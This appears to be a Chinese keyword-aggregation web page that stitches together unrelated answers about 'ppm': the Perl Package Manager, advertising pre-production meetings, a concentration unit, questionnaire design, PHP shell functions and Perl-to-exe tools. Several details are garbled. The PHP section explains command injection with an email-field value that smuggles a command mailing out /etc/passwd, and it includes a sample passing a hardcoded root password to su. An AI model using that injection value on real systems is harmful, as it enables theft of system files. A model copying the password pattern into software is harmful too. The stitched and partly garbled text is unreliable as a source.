腳本ppm
Ⅰ Perl Package Manager 是什麼軟體
Perl Package Manager 簡稱 ppm, 是 perl 的一個附帶軟體, 主要功能就是幫你 "無痛裝包"!
( 所謂包就是 package, 可以當是擴展, 又或者相對於 c 的 lib ) 在 perl 裏手動裝一個包實在是一件很痛苦的事 ,首先你要從 cpan 下載一個包, 解壓後, 再 perl makefile, 再 nmake, make install ...... 這樣寫一大輪, 更糟的是如果這個包還需要另一個包才能運你就得每個包都重覆以上動作, 而且, 不一定成功 ( 本人的經驗是十次有六次都是失敗的 ) .
ppm 就將以上的動作自動化. 自動追加裝載附帶需要的包. 並提供 GUI 和 Command line 兩種介面
例如: ppm install Mail::Sender 這樣就會自動幫你下載一個叫 Mail::Sender 的包, 並安裝妥當.
Ⅱ 請教!用activeperl寫的腳本,現在用StrawberryPerl運行報錯
假設你想安裝的模塊叫: Mole::You::Want
Activeperl , 可以按 [Win]+[R], 執行 "PPM" ,
這會打開 perl package manager 的 GUI (圖形界面),
也可以在到 cmd 里, 執行 :
ppm install Mole::You::Want
也可以在到 cmd 里, 執行 :
cpan Mole::You::Want
(留意大小寫!)
Strawberry Perl 則沒有 ppm , 所以只能用 CPAN, 方法同上面一樣
不過, 在第一次執行 CPAN 前, 最好先確定在用的 CPAN 是最新版本, 所以, 無論是 ActivePerl 還是 Strawberry Perl , 如果要用 CPAN 來裝楔塊, 建議先執行一次.
cpan CPAN
Ⅲ perl腳本中如何調用matlab中的m文件
不推薦你在win 下用activeperl安裝,
推薦你到linux下安裝。
當然你也可以嘗試下了ppm install Math-Matlab
自己到cpan上下載模塊編譯安裝也可以的,比較麻煩
Ⅳ 企業微電影製作分為哪幾個階段
【商業微電影前期准備腳本】說明:
首先微電影創意得到客戶確認、並獲准進入拍攝階段時,前期策劃會將創意的文案、畫面說明及提案給客戶,並就微電影的長度、規格、交微電影日期、目的、任務、情節、創意點、氣氛和禁忌等作必要的書面說明,以助客戶和後期拍攝製作團隊理解該微電影的創意背景、目標對象、創意原點及表現風格等等。
微電影拍攝投資估價:
當後期拍攝團隊收到腳本說明之後,拍攝團隊會就自己對創意的理解預估將合適的製作方案及相應的價格呈報給公司,供公司及廣告客戶確認。
一般而言,一份合理的估價應包括拍攝准備、拍攝器材、拍攝場地、拍攝置景、拍攝道具、拍攝服裝、攝制組(導演、制微電影、攝影師、燈光師、美術、化妝師、服裝師、造型師、演員等)、電力、轉磁、音樂、剪輯、特技、二維及三維製作、配音及合成等製作費、製作公司利潤、稅金等廣告影微電影製作中的全部方面,並附製作日程表。甚至可以包含具體的選擇方案。
微電影需求方(客戶)確認:
將估價呈報給客戶,當客戶確認後,由客戶、廣告公司、製作公司簽立具體的製作合同。然後,根據合同和最後確認的製作日程表,製作團隊會在規定的時間內准備接下來的第一次製作準備會。
微電影拍攝前准備:
在此期間,製作公司將就製作腳本、導演闡述、燈光影調、音樂樣本、堪景、布景方案、演員試鏡、演員造型、道具、服裝……等有關微電影拍攝的所有細節部分進行全面的准備工作,以尋求將廣告創意呈現為廣告影微電影的最佳方式。
第一次製作準備會:PPM是英文Pre-ProctMeeting的縮寫。在PPM上,將由製作公司就微電影拍攝中的各個細節向客戶及廣告公司呈報,並說明理由。通常製作公司會提報不止一套的製作腳本、導演闡述、燈光影調、音樂樣本、堪景、布景方案、微電影演員試鏡、演員造型、道具、服裝……等有關微電影拍攝的所有細節部分供客戶和微電影拍攝製作公司選擇,最終一一確認,作為之後拍微電影的基礎依據。
如果某些部分在此次會議上無法確認,則(在時間允許的前提下)安排另一次製作準備會直到最終確認。因此,製作準備會召開的次數通常是不確定的,如果只召開一次,則PPM1和PPM2、Final PPM就沒有什麼差別。
第二次製作準備會:
經過再一次的准備,就第一次製作準備會(PPM1)上未能確認的部分,製作團隊將提報新的准備方案,供客戶及廣告公司確認,如果全部確認,則不再召開最終製作準備會(Final PPM),否則(在時間允許的前提下)再安排另一次製作準備會直到最終確認。
最終製作準備會:
這是最後的製作準備會,為了不影響整個拍微電影計劃的進行,就未能確認的所有方面,客戶、微電影拍攝製作公司必須共同協商出可以執行的方案,待三方確認後,作為之後拍微電影的基礎依據。
拍微電影前最後檢查:
在進入正式拍攝之前,公司的製片人員對最終製作準備會上確定的各個細節,進行最後的確認和檢視,以杜絕任何細節在拍片現場發生狀況,確保微電影的拍攝完全按照計劃順利執行。其中尤其需要注意的是場地、置景、微電影演員、特殊鏡頭等方面。
另外,在正式拍微電影之前,製作公司會向包括客戶、廣告公司、攝制組相關人員在內的各個方面,以書面形式的「拍攝通告」告知拍攝地點、時間、攝制組人員、聯絡方式等。
拍攝按照最終製作準備會的決議,拍攝的工作在安排好的時間、地點由攝制組按照拍攝腳本進行拍攝工作。為了對客戶和創意負責,除了攝制組之外,通常製作公司的制微電影人員會聯絡客戶、有關創作人員等參加拍攝。
根據經驗和作業習慣,為了提高工作效率,保證表演質量,鏡頭的拍攝順序有時並非按照拍攝腳本的鏡頭順序進行,而是會將機位、景深相同相近的鏡頭一起拍攝。為確保拍攝的鏡頭足夠用於剪輯,每個鏡頭都會拍攝不止一遍,而導演也可能會多拍一些腳本中沒有的鏡頭。
Ⅳ 製片服務的流程是怎麼樣的
美國影片製作流程是這樣的:
1, 選擇劇本. 這是最重要的,一般是由製片人來選擇劇本,但是也不缺乏導演來選擇劇本的,但是導演在選擇了一部好的劇本之後就要說服公司以及製片人,來為他投資,但是在現在的電影中導演是沒有劇本改編權利的,如果他在開拍前希望改變劇本就必須經過公司上層董事會的批准.
2, 資金. 每部電影都不能沒有雄厚的資金,象<強戰世界>這樣的電影,超過了2億美金,那麼就得找到一個很厲害的公司做電影投資.
3,選擇導演、演員. 中國電影不會有選擇導演這種說法的,在一部電影里導演說的算,這就意味著他們不僅要對電影的質量負責還要對片場的其他方面負責,而國際電影製作中導演只需要負責好電影拍攝的任務. 在國際化的電影製作中是劇本選擇導演,而不是導演選擇劇本. 製片人在電影籌備時還要擔當起選擇演員的任務,在中國大陸這些都是由副導演來完成的.
4, 在一部成功的電影中,不僅要有很棒的劇本,很好的故事情節,好的導演.最重要的是有大牌明星的參與. 明星是電影中閃亮的焦點,也是電影票房的保障.
5, 組建攝制組,進行拍攝.
6, 電影剪接. 在美國的商業電影中,導演是沒有剪接權利的,都是由製片公司進行剪接,但是如果是一線導演的話,那就不同了.
7, 發行商, 商業電影中發行商和製片商不是一家,發行商是通過競爭來取得發行權,一部電影的好壞也可以通過看發行商來表現.
8, 發行海報,廣告宣傳. 就拿<強戰世界>來說,早在電影放影4個月前電影的廣告和宣傳海報就已經出爐.
9, 電影國際發行,發放電影配音權,剪編權
10, 參加電影節
Ⅵ 什麼是PPM,工作中應該怎樣做
摘要 PPM是英文「製作前會議」的縮寫,
Ⅶ 廣告視頻怎麼製作
本文介紹視頻廣告片的製作標准流程,希望對喜歡視頻製作這方面的朋友有一些幫助。 一、前期准備腳本說明:當創意完全確認、並獲准進入拍攝階段時,廣告公司會將創意的文案、畫面說明及提案給客戶的故事板(Storyboard)呈遞給合適的製作公司(可能不止一家),注並就廣告片的長度、規格、交片日期、目的、任務、情節、創意點、氣氛和禁忌等作必要的書面說明,以幫助製作公司理解該廣告片的創意背景、目標對象、創意原點及表現風格等等。注同時要求製作公司在限定的時間里呈遞估價(Quotation)和製作日程表(Schele)以供選擇。估價:當製作公司收到腳本說明(Storyboard Briefing)之後,製作公司會就自己對創意的理解預估將合適的製作方案及相應的價格呈報給廣告公司,供廣告公司及廣告客戶確認。 一般而言,一份合理的估價應包括拍攝准備、拍攝器材、拍攝場地、拍攝置景、拍攝道具、拍攝服裝、攝制組(導演、製片、攝影師、燈光師、美術、化妝師、服裝師、造型師、演員等)、電力、轉磁、音樂、剪輯、特技、二維及三維製作、配音及合成等製作費、製作公司利潤、稅金等廣告影片製作中的全部方面,並附製作日程表。甚至可以包含具體的選擇方案。客戶確認:由廣告公司將製作公司的估價呈報給客戶,當客戶確認後,由客戶、廣告公司、製作公司簽立具體的製作合同。然後,根據合同和最後確認的製作日程表(Schele),製作公司會在規定的時間內准備接下來的第一次製作準備會(PPM1)。拍攝前准備:在此期間,製作公司將就製作腳本(Shootingboard)、導演闡述、燈光影調、音樂樣本、堪景、布景方案、演員試鏡、演員造型、道具、服裝……等有關廣告片拍攝的所有細節部分進行全面的准備工作,以尋求將廣告創意呈現為廣告影片的最佳方式。第一次製作準備會:PPM是英文Pre-Proct Meeting的縮寫。在PPM上,將由製作公司就廣告影片拍攝中的各個細節向客戶及廣告公司呈報,並說明理由。通常製作公司會提報不止一套的製作腳本(Shootingboard)、導演闡述、燈光影調、音樂樣本、堪景、布景方案、演員試鏡、演員造型、道具、服裝……等有關廣告片拍攝的所有細節部分供客戶和廣告公司選擇,最終一一確認,作為之後拍片的基礎依據。 如果某些部分在此次會議上無法確認,則(在時間允許的前提下)安排另一次製作準備會直到最終確認。因此,製作準備會召開的次數通常是不確定的,如果只召開一次,則PPM1和PPM2、Final PPM就沒有什麼差別。第二次製作準備會:經過再一次的准備,就第一次製作準備會(PPM1)上未能確認的部分,製作公司將提報新的准備方案,供客戶及廣告公司確認,如果全部確認,則不再召開最終製作準備會(Final PPM),否則(在時間允許的前提下)再安排另一次製作準備會直到最終確認。最終製作準備會:這是最後的製作準備會,為了不影響整個拍片計劃的進行,就未能確認的所有方面,客戶、廣告公司和製作公司必須共同協商出可以執行的方案,待三方確認後,作為之後拍片的基礎依據。拍片前最後檢查:在進入正式拍攝之前,製作公司的製片人員對最終製作準備會上確定的各個細節,進行最後的確認和檢視,以杜絕任何細節在拍片現場發生狀況,確保廣告片的拍攝完全按照計劃順利執行。其中尤其需要注意的是場地、置景、演員、特殊鏡頭等方面。 另外,在正式拍片之前,製作公司會向包括客戶、廣告公司、攝制組相關人員在內的各個方面,以書面形式的「拍攝通告」告知拍攝地點、時間、攝制組人員、聯絡方式等。二、拍攝按照最終製作準備會的決議,拍攝的工作在安排好的時間、地點由攝制組按照拍攝腳本Shooting board進行拍攝工作。為了對客戶和創意負責,除了攝制組之外,通常製作公司的製片人員會聯絡客戶和廣告公司的客戶代表AE、有關創作人員等參加拍攝。 根據經驗和作業習慣,為了提高工作效率,保證表演質量,鏡頭的拍攝順序有時並非按照拍攝腳本Shooting board的鏡頭順序進行,而是會將機位、景深相同相近的鏡頭一起拍攝。另外兒童、動物等拍攝難度較高的鏡頭通常會最先拍攝,而靜物、特寫及產品鏡頭通常會安排在最後拍攝。為確保拍攝的鏡頭足夠用於剪輯,每個鏡頭都會拍攝不止一遍,而導演也可能會多拍一些腳本中沒有的鏡頭。
Ⅷ 一些與廣告有關的。
影視廣告的廣告腳本是包括鏡頭描述和文案已經創意闡述的 這三項組成了廣告腳本
PPM即Papers Per Minute
用溶質質量佔全部溶液質量的百萬分比來表示的濃度,也稱百萬分比濃度。ppm就是百萬分率或百萬分之幾,在農葯應用中以往常用於表示噴灑液的濃度,即一百萬份噴灑液中含農葯有效成分的份數。現根據國際規定百萬分率已不再使用ppm來表示,而統一用微克/毫升或毫克/升或克/立方米來
膠轉磁 把用膠片拍攝的電影轉成磁碟數據格式進行保存,每部以膠片攝制的電影製作DVD都要經過這一步的。
廣告腳本
一、撰寫腳本的步驟
1、選題
首先要了解計劃製作的課題採用課件進行輔助教學的必要性和可能性,要調查該課題在採用課堂教學方式或其它較易實現的教學方式時,是否能較好的達到教學目標,要從經費、設備、時間、技術水平和教學效果等方面加以綜合考慮。在初步確定某一課題需要且可以採用課件方式之後,還應調查現有的課件,如果確認沒有合適的現成課件,才可選定該課題。
2、制訂課題計劃
課題計劃包括確定教學目的要求、劃分課時和教學基本單元、選擇教學方法、確定調試方式等。CAI每節課的時間要少於通常的課堂教學。CAI課件調度各教學基本單元的方式一般有程序式、菜單式和混合式三種。所謂程序式是在事先編好的程序控制下,由計算機根據學生在學習時的反應決定有關教學單元之間的連接順序;所謂菜單式是由計算機在屏幕上顯示教學內容的目錄,由學生根據需要加以選擇調用;至於混合式,則是將上述兩種方式混合採用,一般以菜單式為綱,以程序式為目的。
3、繪制畫面
腳本紙的選擇應根據計算機屏幕的顯示格式來選取。課件中的畫面應按比例繪制在腳本紙上。如果在若干頁畫面中都有相同的圖,則可在該圖第一次出現時,對其進行標號,此後以圖號代替。這樣處理不僅可以節省繪制時間,還可方便軟體編程。
4、標注說明
對一些有特殊要求的畫面,如閃爍、動畫、視頻等,要在腳本上標注簡短的文字說明。每頁腳本都要編制「本頁流程圖」,用以說明本頁的畫面是由哪些畫面組成;在什麼情況下進入什麼畫面;顯示的先後次序和動畫、切換效果等。每頁腳本紙(包括分支),還需編上頁碼。
5、重疊檢查
各頁畫面繪制完成後,應重點檢查連續畫面重疊時是否配合,如練習與答案的顯示位置是否配合等。如不認真進行重疊檢查,很容易出現畫面不配合現象,給編程帶來麻煩。
6、編制順序
在逐頁繪制畫面的過程中,還應根據需要不斷地調整頁碼的順序。全部畫面繪制好後,應將初步排好的順序與每頁的流程圖對照。對照核實後重新編上頁碼。
7、繪制課題流程圖
「本頁流程圖」只是一個局部的片斷。「課題流程圖」是指一課時腳本的整體流程圖。腳本各頁的順序編排好後,要沿著不同的學習路線和分支,按幾種路線再分別檢查,確定無錯誤後,最後繪制好課題流程圖。
廣告腳本的表現手法 通過以上方法使腳本生成,按照流程完成腳本內容。
問卷調查會遇到的困難:
調查問卷設計(1)
問卷設計步驟
問卷設計技術
決定每個問題的措辭
問題的類型
詢問形式
態度測量表法
評價問卷的標准
小結
【開篇案例】
撰寫一份優秀問卷的要點
萊恩?紐曼(Lynn Newman),是馮瑞茲(Maritz)公司市場研究部的副主管,曾談到撰寫一份優秀問卷的要點。如果你曾將你認為的「最終」問卷送給一位市場研究人員,結果拿回的問卷上到處是添加或刪改的痕跡及其他編輯意見,這並不奇怪。乍一看,撰寫問卷並不是一件非常困難的任務:只要表達出你想了解什麼,並寫出能得到哪些信息的問題即可。雖然撰寫問卷很簡單,但撰寫優秀問卷卻不容易。這里有一些在撰寫問卷時應該做什麼和不應該做什麼的要點:
(1)避免應答者可能不明白的縮寫、俗語或生僻的用語。比如,你對PPO的意見是什麼?很可能不是每個人都知道PPO代表優先提供者組織(Preferred Provider Organization)。如果這一問題以一般公眾為目標應答者,研究人員可能會遇到麻煩。另一方面,如果問題針對物理學家或醫院管理者,那麼縮寫PPO很可能是可接受的。
(2)要具體。含糊的提問得到含糊的答案。例如,您的家庭收入是多少?當應答者給出此問題的數字答案時,其答案是各式各樣的,如1994年的稅前收入,1994年的稅後收入,1995年稅前收入,1995年稅後收入。
(3)不要過頭。當問題的要求過多時,人們是不會回答的,他們或者拒絕或者亂猜。例如,1996年您讀了多少本書?需給出一個范圍:①無;②1~10本;③11~25本;④26~50本;⑤多於50本。
(4)確保問題易於回答。要求過高的問題也會導致拒答或猜想。例如,請您以購買新車時考慮因素的重要性將以下20項排序。你正在讓應答者做一次相當大的計算工作。不要讓人們為20項排序,應讓他們挑選出前5項。
(5)不要過多假設,這是一個相當普遍的錯誤。問題撰寫者默認了人們的一些知識、態度和行為。例如,您對總統關於槍支控制的立場傾向於同意還是反對?這一問題假設了應答者知道總統對槍支控制有一個立場並知道立場是什麼。
(6)注意雙重問題和相反觀點的問題,將多個問題結合起來或運用相反觀點的問題會導致模稜兩可的問題和答案。例如,「您贊同在私人住宅而不在公共場所吸食大麻合法化嗎?」如果此問題精確描述應答者的立場,那麼就很容易解釋「是」這種回答。但是回答為「不」可能意味著應答者贊同在公共場所吸大麻而不贊同在私人場所吸,或兩者都反對,或兩者都贊同。「警察總長不應該對市長直接負責嗎?」這個問題模稜兩可,幾乎任何回答都可以。
(7)檢查誤差。帶有誤差的問題會引導人們以某一方式回答,但這種方式不能准確反映其立場。有幾種使問題存在偏向性的方式。一種方式是暗示應答者本應參與某一行為。例如,「今年看電影《獅子王》的人比看其他電影的人多。您看過這部電影嗎?」為了不顯示出「不同」,應答者即使沒有看過也會說是的。問題應該是「您曾看過電影《獅子王》嗎?」
另一種使問題具有誤差性的方式是使選擇答案不均衡。例如,「近期我國每年在援助外國方面花費XX萬美元。您認為這個數字應:①增加;②保持不變;③稍減一點;④減少一點;⑤大量減少」。這套答案鼓勵應答者選擇「減少」選項,因為其中有3項「減少」,而只有一項是增加。
(8)預先測試。正式調查之前的試調查,「所有的修改和編輯都不能保證成功。事先測試是保證你的問卷研究項目成功而費用最低的方式。」事先測試的基本目的是保證問卷提供給應答者以清晰、容易理解的問題,這樣的問題將得到清晰、容易理解的回答。
在訪問類方法中,郵寄調查、留置調查都要採用問卷,面談法、電話調查也可以採用問卷的形式。因此問卷設計就成為調查前一項重要的准備工作。問卷設計的好壞,在很大程度上決定著調查問卷的回收率、有效率,甚至關繫到市場調查活動的成敗。問卷設計的科學性在市場調查中具有關鍵性意義。
問卷設計步驟
設計問卷的目的是為了更好地收集市場信息,因此在問卷設計過程中,首先要把握調查的目的和要求,同時力求使問卷取得被調查者的充分合作,保證提供准確有效的信息。具體可分為以下幾個步驟:第一步,根據調查目的,確定所需的信息資料。然後在此基礎上進行問題的設計與選擇。第二步,是確定問題的順序。一般簡單的、容易回答的放在前面,逐漸移向難度較大的。問題的排列要有關聯、合乎邏輯,便於填卷人合作並產生興趣。第三步,是問卷的測試與修改。在問卷用於實地調查以前,先初選一些調查對象進行測試,根據發現的問題進行修改、補充、完善。
補充閱讀材料3-1
問卷設計的程序
問卷設計是由一系列相關的工作過程所構成的。為使問卷具有科學性、規范性和可行性,一般可以參照以下程序進行:
1.確定調研目的、來源和局限
2.確定數據收集方法
3.確定問題回答形式
4.決定問題的措辭
5.確定問卷的流程和編排
6.評價問卷和編排
7.獲得各相關方面的認可
8.預先測試和修訂
9.准備最後的問卷
10.實施
步驟1:確定調研目的、來源和局限
調研過程經常是在市場部經理、品牌經理或新產品開發專家做決策時感到所需信息不足發起的。在一些公司中,評價全部二手資料以確認所需信息是否收集齊全是經理的責任。在另外一些公司中,經理將所有的市場調研活動,包括一手資料和二手資料的收集交由市場研究部門去做。
盡管可能是品牌經理發起了市場研究,但受這個項目影響的每個人,如品牌經理助理、產品經理,甚至生產營銷經理都應當一起討論究竟需要些什麼數據。詢問的目標應當盡可能精確、清楚,如果這一步做得好,下面的步驟會更順利、更有效。
步驟2:確定數據收集方法
獲得詢問數據可以有多種方法,主要有人員訪問、電話調查、郵寄調查與自我管理訪問。每一種方法對問卷設計都有影響。事實上,在街上進行攔截訪問比八戶訪問有更多的限制,街上攔截訪問有著時間上的限制;自我管理訪問則要求問卷設計得非常清楚,而且相對較短,因為訪問人員不在場,沒有澄清問題的機會;電話調查經常需要豐富的詞彙來描述一種概念以肯定應答者理解了正在討論的問題。對比而言,在個人訪談中訪問員可以給應答者出示圖片以解釋或證明概念。
步驟3:確定問題回答形式
開放式問題、封閉式問題、量表應答式問題
(l)開放式問題。
開放式問題是一種應答者可以自由地用自己的語言來回答和解釋有關想法的問題類型。也就是說,調研人員沒有對應答者的選擇進行任何限制。
(2)封閉式問題。
封閉式問題是一種需要應答者從一系列應答項做出選擇的問題。
(3)量表應答式問題。
則是以量表形式設置的問題。
步驟4:決定問題的措辭
(l)用詞必須清楚。
(2)避免誘導性的用語。
(3)考慮應答者回答問題的能力。
(4)考慮到應答者回答問題的意願。
步驟5:確定問卷的流程和編排
問卷不能任意編排,問卷每一部分的位置安排都具有一定的邏輯性。其邏輯性描述在表61中列出。有經驗的市場研究人員很清楚問卷製作是獲得訪談雙方聯系的關鍵。聯系越緊密,訪問者越可能得到完整徹底的訪談。同時,應答者的答案可能思考得越仔細,回答得越仔細。
步驟6:評價問卷和編排
一旦問卷草稿設計好後,問卷設計人員應再回過來做一些批評性評估。如果每一個問題都是深思熟慮的結果,這一階段似乎是多餘的。但是,考慮到問卷所起的關鍵作用,這一步還是必不可少的。在問卷評估過程中,下面一些原則應當考慮。
(1)問題是否必要。
(2)問卷是否太長。
(3)問卷是否回答了調研目標所需的信息。
(4)郵寄及自填問卷的外觀設計。
(5)開放試題是否留足空間。
(6)問卷說明是否用了明顯字體等等。
步驟7:獲得各方面的認可
問卷設計進行到這一步,問卷的草稿已經完成。草稿的復印件應當分發到直接有權管理這一項目的各部門。實際上,營銷經理在設計過程中可能會多次加進新的信息、要求或關注。不管經理什麼時候提出新要求,經常的修改是必需的。即使經理在問卷設計過程中已經多次加入,草稿獲得各方面的認可仍然是重要的。
經理的認可表明了經理想通過具體的問卷來獲得信息。如果問題沒有問,數據將收集不到。因此,問卷的認可再次確認了決策所需要的信息以及它將如何獲得。例如,假設新產品的問卷詢問了形狀、材料以及最終用途和包裝,一旦得到認可,意味著新產品開發經理已經知道「什麼顏色用在產品上」或「這次決定用什麼顏色」並不重要。
步驟8:預先測試和修訂
當問卷已經獲得管理層的最終認可後,還必須進行預先測試。在沒有進行預先測試前,不應當進行正式的詢問調查。通過訪問尋找問卷中存在的錯誤解釋、不連貫的地方、不正確的跳躍模型。為封閉式問題尋找額外的選項以及應答者的一般反應。預先測試也應當以最終訪問的相同形式進行。如果訪問是入戶調查,預先測試應當採取入戶的方式。
在預先測試完成後,任何需要改變的地方應當切實修改。在進行實地調研前應當再一次獲得各方的認同,如果預先測試導致問卷產生較大的改動,應進行第二次測試。
步驟9:准備最後的問卷
精確的列印指導、空間、數字、預先編碼必須安排好,監督並校對,問卷可能進行特殊的折疊和裝訂。
步驟10:實施
問卷填寫完後,為從市場獲得所需決策信息提供了基礎。問卷可以根據不同的數據收集方法並配合一系列的形式和過程以確保數據可正確地、高效地、以合理的費用收集。這些過程包括管理者說明、訪問員說明、過濾性問題、記錄紙和可視輔助材料。
Ⅸ 信息擴充、整數乘法與工具整合」中,html與Linux腳本,這兩個工具,如何實現的優
在php中調用外部命令,可以用如下三種方法來實現: 1) 用PHP提供的專門函數 PHP提供共了3個專門的執行外部命令的函數:system(),exec(),passthru()。 system() 原型:string system (string command [, int return_var]) system()函數很其它語言中的差不多,它執行給定的命令,輸出和返回結果。第二個參數是可選的,用來得到命令執行後的狀態碼。 例子: 復制代碼 代碼如下: usr/local/bin/webalizer/webalizer"); > exec() 原型:string exec (string command [, string array [, int return_var]]) exec ()函數與system()類似,也執行給定的命令,但不輸出結果,而是返回結果的最後一行。雖然它只返回命令結果的最後一行,但用第二個參數array 可以得到完整的結果,方法是把結果逐行追加到array的結尾處。所以如果array不是空的,在調用之前最好用unset()最它清掉。只有指定了第二 個參數時,才可以用第三個參數,用來取得命令執行的狀態碼。 例子: 復制代碼 代碼如下: bin/ls -l"); exec("/bin/ls -l", $res); exec("/bin/ls -l", $res, $rc); > passthru() 原型:void passthru (string command [, int return_var]) passthru ()只調用命令,不返回任何結果,但把命令的運行結果原樣地直接輸出到標准輸出設備上。所以passthru()函數經常用來調用象pbmplus (Unix下的一個處理圖片的工具,輸出二進制的原始圖片的流)這樣的程序。同樣它也可以得到命令執行的狀態碼。 例子: 復制代碼 代碼如下: gif"); passthru("./ppmtogif hunte.ppm"); > 2) 用popen()函數打開進程 上面的方法只能簡單地執行命令,卻不能與命令交互。但有些時候必須向命令輸入一些東西,如在增加Linux的系統用戶時,要調用su來把當前用戶換到root才行,而su命令必須要在命令行上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。 popen ()函數打開一個進程管道來執行給定的命令,返回一個文件句柄。既然返回的是一個文件句柄,那麼就可以對它讀和寫了。在PHP3中,對這種句柄只能做單一 的操作模式,要麼寫,要麼讀;從PHP4開始,可以同時讀和寫了。除非這個句柄是以一種模式(讀或寫)打開的,否則必須調用pclose()函數來關閉 它。 例子1: 復制代碼 代碼如下: 例子2: 復制代碼 代碼如下: * PHP中如何增加一個系統用戶 下面是一段常式,增加一個名字為james的用戶, root密碼是 verygood。僅供參考 */ $sucommand = "su --login root --command"; $useradd = "useradd "; $rootpasswd = "verygood"; $user = "james"; $user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user); $fp = @popen($user_add,"w"); @fputs($fp,$rootpasswd); @pclose($fp); > 3) 用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面) 這個方法以前沒有歸入PHP的文檔,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執行的命令括起來作為一個表達式,這個表達式的值就是命令執行的結果。如: 復制代碼 代碼如下: 這個腳本的輸出就象: hunte.gif hunte.ppm jpg.htm jpg.jpg passthru.php 要考慮些什麼? 要考慮兩個問題:安全性和超時。 先 看安全性。比如,你有一家小型的網上商店,所以可以出售的產品列表放在一個文件中。你編寫了一個有表單的HTML文件,讓你的用戶輸入他們的EMAIL地 址,然後把這個產品列表發給他們。假設你沒有使用PHP的mail()函數(或者從未聽說過),你就調用Linux/Unix系統的mail程序來發送這 個文件。程序就象這樣: 復制代碼 代碼如下: <php system("mail $to procts.txt"); echo "我們的產品目錄已經發送到你的信箱:$to"; > 用這段代碼,一般的用戶不會產生什麼危險,但實際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址: '--bla ; mail [email protected] < /etc/passwd ;' 那麼這條命令最終變成: 'mail --bla ; mail [email protected] < /etc/passwd ; procts.txt' 我相信,無論哪個網路管理人員見到這樣的命令,都會嚇出一身冷汗來。 幸 好,PHP為我們提供了兩個函數:EscapeShellCmd()和EscapeShellArg()。函數EscapeShellCmd把一個字元串 中所有可能瞞過Shell而去執行另外一個命令的字元轉義。這些字元在Shell中是有特殊含義的,象分號(),重定向(>)和從文件讀入 (<)等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字元串兩邊加上單引號,並把字元串中的單引號轉義,這樣這個字元串 就可以安全地作為命令的參數。 再來看看超時問題。如果要執行的命令要花費很長的時間,那麼應該把這個命令放到系統的後台去運 行。但在默認情況下,象system()等函數要等到這個命令運行完才返回(實際上是要等命令的輸出結果),這肯定會引起PHP腳本的超時。解決的辦法是 把命令的輸出重定向到另外一個文件或流中,如: 復制代碼 代碼如下: usr/local/bin/order_proc > /tmp/null &"); >
Ⅹ 請問genesis的perl腳本怎麼轉exe
第一種方法:PP
第一步:ppm install par
這個比較簡單,當然如果幸運的話,你應該可以直接使用par了,但是我沒有那麼幸運,因為安裝之後找不到pp.bat,實際上這是ActivePerl的問題,沒辦法只能往下繼續了。
第二步:重新安裝par-packer
不過之前要更新一個模塊File-Temp,我原來的版本是0.12,太低,換成0.18的
ppm install http://www.bribes.org/perl/ppm/File-Temp.ppd
然後安裝par-packer 0.975
ppm install http://www.bribes.org/perl/ppm/PAR-Packer.ppd
第三步:這時已經可以使用pp.bat了,但是你會發現pp不能生成exe文件,總是報
erl lib version (v5.8.8) doesn't match executable version (v5.8.6)的錯誤,
原因在於二進制不兼容,需要繼續修改。
第四步:下載5.8.8的par-packer
http://www.perl.com/CPAN/authors/id/S/SM/SMUELLER/PAR-Packer-0.975-MSWin32-x86-multi-thread-5.8.8.par
第五步:從par文件中提取Static.pm和Dynamic.pm和base.pm三個文件(par可以用zip打開),用這三個文件替換C:/Perl/site/lib/PAR/StrippedPARL目錄下的同名文件。
第六步:執行pp -o t.exe t.pl
第二種方法:使用Perl2Exe
1、下載http://d.download.csdn.net/down/3347756/zcp2006
2、perl2exe hello.pl
第三種方法:Cava Packager
tools-->Non-Commercial Subscription
第四種方法:PDK
需要安裝PDK工具,可到http://www.activestate.com/下載。